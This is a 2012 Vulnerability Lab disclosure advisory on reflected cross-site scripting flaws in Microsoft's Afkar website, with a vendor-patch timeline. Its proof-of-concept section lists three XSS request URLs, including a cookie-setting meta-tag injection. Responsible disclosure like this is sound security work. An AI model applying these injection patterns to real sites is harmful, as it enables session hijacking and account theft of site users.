Title:
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Microsoft AFKAR Website Service - Cross Site Vulnerabilities


Date:
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2012-04-14


References:
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http://www.vulnerability-lab.com/get_content.php?id=4797

MSRC ID: 12328nj


VL-ID:
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479


Introduction:
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Afkar is an Arabic word that means “ideas”. Microsoft Afkar gives Arabic users from all over the world the chance to play
with cool new tools and ideas coming out of Cairo Microsoft Innovation Lab. 

(Copy of the Vendor Homepage: http://afkar.microsoft.com )



Abstract:
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A Vulnerability Laboratory Researcher discovered multiple non-persistent Cross Site Scripting Vulnerabilities on Microsofts Afkar Website.


Report-Timeline:
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2012-03-24:  Vendor Notification
2012-03-26:  Vendor Response/Feedback
2012-04-08:  Vendor Fix/Patch 
2012-04-14:  Public or Non-Public Disclosure


Status:
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Published


Exploitation-Technique:
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Remote


Severity:
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Low


Details:
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Multiple client side cross site scripting vulnerabilities are detected on Microsofts Afkar Service Website.
The vulnerability allows an attacker (remote) to hijack customer/moderator/admin sessions with medium required user inter 
action. Successful exploitation can result in account steal or client side context manipulation when processing affected module
application requests.

Vulnerable Module(s): 
            [+] autocompleterservice
            [+] transliterateservice
            [+] getprayers


Proof of Concept:
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The vulnerabilities cna be exploited by remote attacker with medium required user inter aciton. For demonstration or reproduce ...


http://afkar.microsoft.com:80/autocompleteservice/services/autocompleterservice.svc/autocomplete?languageName=
Arabic&query=1<body+onload=alert("vlabs")>&count=5&callback=Activate&rosterIndex=0&guid=noguidyet


http://afkar.microsoft.com:80/webmarenservice/services/transliterateservice.svc/transliterate?languageName=
Arabic&query=a&count=5&callback=Activate&rosterIndex=1&guid=<meta+http-equiv='Set-cookie'+content='cookiename=
cookievalue'>&contextPhrasesPre=111-222-1933email@address.tst&contextPhrasePost=djdj@jfh.com


http://afkar.microsoft.com/answers/getprayers?q=1'+style='background:url(JaVaScRiPt:alert(/vulnerable/))'+invalidparam='


Risk:
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The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).


Credits:
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Vulnerability Research Laboratory - Mohd. Shadab Siddiqui  (gr4yf0x)



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